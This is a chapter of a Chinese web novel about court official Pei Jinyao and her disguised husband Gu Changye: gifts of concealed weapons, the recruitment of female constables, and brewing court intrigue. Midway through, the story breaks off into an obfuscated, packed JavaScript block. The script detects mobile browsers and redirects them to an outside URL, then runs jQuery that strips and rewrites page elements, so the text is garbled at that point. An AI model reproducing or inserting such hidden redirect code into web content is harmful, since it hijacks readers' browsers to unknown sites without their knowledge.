裴今遥抬头,就见一把油纸伞从上面飘落下来,是做装饰的纸伞很轻很轻,飘落地缓慢,她抬手正好握住了伞柄。
移开纸伞向上看去,却看见了她娘子那张笑靥如花的脸。
顾长夜装扮成的女子依旧是那副面容,更柔和了四五分,她每次看见这张脸都会觉得……嗯,也不算太亏。
“哎呀顾妹子你没事吧,什么东西掉下去了?”
他身后影影绰绰能看见大理寺其他同僚的夫人,裴今遥握着伞柄将伞转了转才发现茶摊旁边是一座绣坊。
窗子又探出三两个人来,正好与抬头的裴今遥对上了,那三两位夫人立马退了回去互相看了几眼笑了出来。
“顾妹妹你家裴大人来接你了。”打趣着她。
顾长夜对刺绣一窍不通,店里的绣样美则美矣可什么双面绣、苏绣、湘绣、凤穿牡丹……他只是听过但分辨不出,夫人间的话一句插不上,早就想走了。
还好裴今遥来得巧。
他装作羞涩羞赧的模样,用手中团扇遮住自己放松的神情,跟各位姐姐们告了别,走得别提多快了。
“真好。”有夫人望着他的背影有些羡慕,听说二人成婚也有两三年了,虽然裴大人爱逛风月之地可从来没带过女子回府更没有外室之流,如今更是连青楼楚馆都不去了,夫妻恩爱和睦如胶似漆的,可不是羡煞旁人。
“哎……”旁边的夫人知晓她心中苦楚,宽慰了一番。
绣坊外,裴今遥先是与孟修阳等人道别再是将接过的纸伞归还了,顾长夜拎着裙摆走下楼到她身边。
两人只消一个眼神便默契地携手离开。
茶摊。
孟修阳的同窗见他久久失神地看着远去的一对璧人的背影,不由伸手拽扯了他几下,语气十足的玩味:“孟修阳不会吧,你可别告诉我你莫非还对裴大人有什么非分之想?!”
直到看不见身影他才回过神来,听见同窗话并无可谓,“那又如何?”
其余几人蓦地瞪圆了眼睛,开个玩笑而已,他还来真的?
“你不要命了?你爹定会打断你的腿的!”
“天!可不敢让你哥知道。”
“孟静之你——”
孟修阳见他们反应如此之大乐得哈哈大笑,这笑声也让他们明白过来是让他给戏弄了,佯装生气不依不饶了。
“小弟知错,知错了!”孟修阳招架不住连连认错,可心中却想着,倾慕于裴大人就如饮水般轻而易举,但凡看过她的文章真的会不为之所动吗?
-
裴今遥和顾长夜两人早就出了这街。
“王慕祈怕是再也不想跟你们出来了。”顾长夜听她三言两语将之前的事说了一遍后,最想说的还是这句。
她想了想的确是这个道理,又走了两步忽然察觉哪里不对,脚步一顿就被他注意到了。
“怎么……”
“你居然记得王慕祈的姓名?”他与自己一样认人先人外形特征往来多次后才能记住名字,就如上次在铃乐坊,她描述林奕暄再多也不如“白脸男子”四字好用,他叫管大人都还在叫“方黑脸”,怎么偏偏记得王慕祈?
这事说来话长,顾长夜却选择长话短说。
“三年前清月坊偶然碰见他称米,店家昧下半两他找上门来理论,东家讥讽他寒酸落魄,他将东家祖上十八代都翻了出来连他太爷爷为钱财伙同山贼谋害夫人一事都说了出来,后府衙证实无误缴了米铺东家的财产……”
也正是因此王慕祈的名头还流传开了,能入大理寺还是顾长夜私下里举荐他去的,王慕祈并不知道这事他只以为是方大人赏识自己破格提拔的。
这的确会印象深刻,裴今遥想若是自己撞见了也一定会记得。
顾长夜见她感兴趣又说了几件自己记忆犹新的事情权当给她逗趣解闷了。两人慢悠悠地边逛边说着话,难得没有案子没有各怀心思,真如寻常夫妇一般。
裴今遥路过街道两旁的小摊贩还买了些零嘴分着吃,等回到家中,她才后知后觉地发现自己不仅听饱了也吃了六七分饱。
不禁感慨顾长夜要是去当说书先生也定有一番大作为。
可没想到刚进屋,还有个大惊喜在等着她。
“给我的?”她看着放在自己面前的两个盒子,眼神有些奇怪。
盒子如何精致暂且不管就说这里面摆放着东西,左边那个是一把匕首,比起顾长夜那把花里胡哨的宝石短刀匕首这把看着平平无奇,更小巧轻盈;右边那个是——一支笔?
他上次好像确有说过会挑选几样更适合她的武器,可裴今遥只当是客套话罢了,没想到他还真拿来了。
这算什么?贿赂吗?
顾长夜不知道她心里想什么,先拿起那支毛笔给她,裴今遥接过细微发觉这支笔比之寻常要重上一二锱。
“莫非这是袖箭?”她听过也见过,可袖箭大多是铜铁铸成分量不轻,跟一支笔差不多重的还是头一次见到。
“是袖箭。”顾长夜手指在笔尖和顶部一一拂过教她如何使用。
这虽是单发袖箭可里面的六发箭全是用上好陨铁所铸,轻而利,看着小巧杀伤力可不小。还是仿照的紫豪拿在手中都不会惹人注意,可以说是出其不意攻其不备了。
至于匕首,可供裴今遥贴身携带,他选的这把很轻便,很为她这等手无缚鸡之力的人考虑。
“无功不受禄。”
裴今遥心动,可还是推辞了。
顾长夜却只说了一句话就让她改变了主意。
他说:过两日我们再夫妻夜话。
她听懂了他话中深意,瞬间数个想法纷沓而至又被她一一按捺下去,也不推辞客气了她大大方方地收下。
-
又过了两日,宁安府衙轰轰烈烈的女捕快考核终于结束了。
最终录用了二十一位女捕快,原本说好只取考核最佳的二十位女子的,可有两位各有优势于是管大人拍板直接一同招收。这也是一种表态,只要足够优秀宁安府衙宁愿破例也不会错失良才。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810847|175228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
或许这也正是当今圣上想要释放的某种信号。
二十一位女捕快入了府衙后会被分到几位捕头手下,由此起步迈入新的阶段。或许用不了多久她们之中还会诞生一位新的女捕头,而她们也全都冲着这继续努力。
赵问秋也如愿成了二十一位中的一员,上任后的第一天,大理寺内跟随裴今遥破了沉湖案子的文吏和差役们还共同送了份贺礼,也算了却了一段悲伤的因缘际会。
她会选择去当女捕快或多或少也是因为经历了宋莲一事。
宋莲与张煜祺起初是一场令人绝望的强迫,她想过报官却又怕官衙不理会还倒打一耙传出来闲言碎语;后是坊市其他屠户压迫排挤,张煜祺突然出现解围免去她的牢狱之灾,再加上他的花言巧语让宋莲真的以为他会负起责任。
在一起后张煜祺送过她不少东西,宋莲并不贪图他什么只愿意收下一支簪花,张煜祺口中在她身上花费了数百银两,是在钱庄那事时她无意间苦恼过,张煜祺为讨其欢心主动给了她一百两,宋莲只说是借的。
她本打算将自己的积蓄拿出来借给其他姐妹当作本钱,等收了利,利钱给家中贫寒的姐妹本钱再自己收回。裴今遥破了骗局后她拿回了自己的和借的那一百两,本打算还给张煜祺,却不承想被他提前用借口约了去……随后又发生了这些事……
赵问秋在知道一切后,迫切地想要变得更强大,想要能够庇护其她姐妹不再遭遇此种情况。时也运也,恰好就碰上了宁安府广招女捕快。
宋莲的死的确让她悲伤难过,恨不得将张煜祺和罗景明杀上千百回,可任有再多不甘日子总归要一天天地过去。
-
裴今遥也是同样。
名册和账本一同呈到御前之后,依旧风平浪静仿佛什么都没有发生过。可在平静之下又是暗潮涌动,正酝酿着一场大风暴。
此案过后整个京城似乎平和了许多,宁安府衙多了人手日常巡视都不必焦头烂额了,大理寺还是人手不足可最近也没再出什么大事。
欧临安还曾当面蛐蛐裴今遥是小小活阎罗,她在哪哪就频频有大案。最近他又换了话术:俗话说可一可二不可三,他们大理寺如今坐着大、小、小小三位阎罗,可谓是镇守一方,诸邪莫侵。
可朝堂上却风雨欲来,先是南直隶世家与寒门又起冲突,前任巡抚明大人被圣上一气之下调回京城,新任的巡抚依旧没有处理好这烂摊子。
听闻圣上又发怒了还要再换人,似乎有意大理寺的康少卿,不知真假反正是都已传开了,裴今遥也有所耳闻。
再者就是禺东党派的官员,不知不觉间死了两三个,还全是意外身死的让人难以寻出破绽的死法。
裴今遥认为这几个官员极可能是顾长夜的手笔。
这事本该由大理寺审理可圣上偏偏让刑部去办,也为这欲来的风雨蒙上了一层血色,礼部尚书符大人近来也频频出入内阁的多位辅执家中。
她一边注视着禺东官吏的动向,一边也有了新的烦恼。